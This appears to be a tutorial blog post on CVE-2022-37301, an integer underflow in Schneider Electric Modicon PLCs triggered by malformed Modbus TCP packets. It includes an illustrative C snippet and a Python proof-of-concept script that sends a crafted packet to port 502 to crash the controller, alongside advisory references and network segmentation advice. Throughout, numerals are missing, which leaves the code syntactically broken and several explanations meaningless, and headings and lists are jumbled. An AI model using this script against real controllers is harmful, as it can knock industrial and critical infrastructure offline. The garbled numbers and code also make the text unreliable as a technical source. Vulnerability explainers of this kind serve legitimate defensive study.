Industrial control systems keep our factories, energy grids, and cities humming along safely. But sometimes even a small coding mistake—like handling numbers in a careless way—can bring crucial devices crashing down. In this detailed yet beginner-friendly post, you’ll learn how CVE-2022-37301 exposes critical Schneider Electric PLCs to memory corruption and denial of service (DoS) attacks. We'll break down where the bug lives, how you might exploit it, and what you can do to defend your systems.

What is CVE-2022-37301?

CVE-2022-37301 is a CWE-191: Integer Underflow (Wrap or Wraparound) weakness found in Schneider Electric Modicon controllers. If a specific, malformed Modbus TCP packet is sent to one of these products, the PLC might access memory incorrectly and crash, causing loss of automation control—an attacker could use this for Denial of Service (DoS).

Modicon M340 CPU: BMXP34* (V3.40 and older)

- Modicon M580 CPU: BMEP* / BMEH* (V3.22 and older)
- Legacy Modicon Quantum/Premium: All versions

Modicon MC80: BMKC80 (V1.7 and older)

If your facility uses any of these for its industrial operations, keep reading—this could be important.

Why Integer Underflow Is (Still) a Problem

At its heart, this is a programming mistake involving math with very small unsigned numbers. If a device receives a value like , and then subtracts from it, the value "wraps" around to a big number (e.g., from to 65535 for a 16-bit unsigned integer). If the code uses this result for a buffer or memory size, it ends up reading or writing where it shouldn't—sometimes causing the system to crash outright.

Think of it like this:
If you have apples and I ask you to eat 1 apple, you can't—so if you keep going, you steal apples from someone else's bag, and chaos ensues!

How This Applies to Modbus TCP

Modbus TCP is a simple network protocol often used for automation. When a PLC receives a Modbus request, it parses fields that tell it how much data to read or write. If an attacker sends a specially-crafted packet with a length of zero and tricks the device into subtracting from it, an underflow can happen.

The Flaw, Step-By-Step

Here’s a simplified flow of how the vulnerable code might look in C (not Schneider’s actual code, but easy to follow):

uint16_t dataLen = get_modbus_data_length(request); // e.g., received 
if (dataLen < SOME_MINIMUM) {
    // Oh, this is supposed to be rejected...
    // ...but suppose the check is missing or not working right
}
uint16_t bufferSize = dataLen - HEADER_SIZE; 
char dataBuffer[BUFFER_SIZE]; // Uh-oh: dataLen can be less than HEADER_SIZE!
memcpy(dataBuffer, request + HEADER_SIZE, bufferSize); // Buffer overflow or underflow!

If dataLen is , and HEADER_SIZE is 5, then bufferSize becomes - 5 which on an unsigned 16-bit number = 65531! That’s a huge, incorrect buffer size.

Crafting a Packet to Trigger the Vulnerability

You don’t need to have physical access to the controller—if it’s exposed on the network, a simple Python script can trigger the bug.

Below is a demo using Python’s socket library to send a malformed Modbus TCP packet to the PLC’s port 502 (standard for Modbus):

import socket
import struct

# The IP address of the vulnerable PLC
PLC_IP = "192.168.1.100"
PLC_PORT = 502

# Craft a Modbus TCP header + malformed data
transaction_id = 1
protocol_id = 
length =   # Intentionally set to  to trigger underflow
unit_id = 1

# Build packet
header = struct.pack('>HHHB', transaction_id, protocol_id, length, unit_id)

# The minimum Modbus PDU; real attack can further tweak payload
malformed_packet = header

# Send the evil packet
with socket.create_connection((PLC_IP, PLC_PORT)) as s:
    s.sendall(malformed_packet)
    print("Malformed Modbus TCP packet sent")

NOTE: Do not use this against equipment you do not own. This is provided for educational purposes—testing this can crash the PLC and stop production!

A manual reset may be needed to recover

A determined attacker could keep sending these packets, preventing the device from ever recovering—a serious operational risk.

Industrial Plants: Automated lines may halt, losing products and time.

- Critical Infrastructure: Water, power, or transportation systems can be knocked offline until the device is rebooted.

Remote Sites: If nobody is nearby to reset the device, downtime could be hours or days.

The seriousness depends on how crucial the automation process is—but many of these controllers live in mission-critical settings.

Official Advisory & References

- Schneider Electric Security Notification – SEVD-2022-193-03
- CVE-2022-37301 at NVD (nvd.nist.gov)
- Mitre CWE-191 Documentation

Network Segmentation:

- Do not expose port 502 (Modbus/TCP) to the open Internet.

Only allow traffic to PLCs from known, approved hosts (e.g., HMI, SCADA servers).

- Drop all unknown Modbus/TCP packets at the firewall.

Conclusion

CVE-2022-37301 is a textbook example of how an "innocent" coding oversight can leave important industrial technologies wide open to attack. By understanding how integer underflow works, using safe coding practices, and patching your systems, you can defeat this vulnerability.

Keep your automation safe—don’t let a single bad packet shut down your whole line!

*Want more details? See the Schneider advisory here and the NVD entry here.*

Stay secure!

*(This article is an exclusive, step-by-step breakdown for industrial and security professionals. Please use responsibly and help protect our critical infrastructure.)*

Timeline

Published on: 11/22/2022 12:15:00 UTC
Last modified on: 11/30/2022 20:23:00 UTC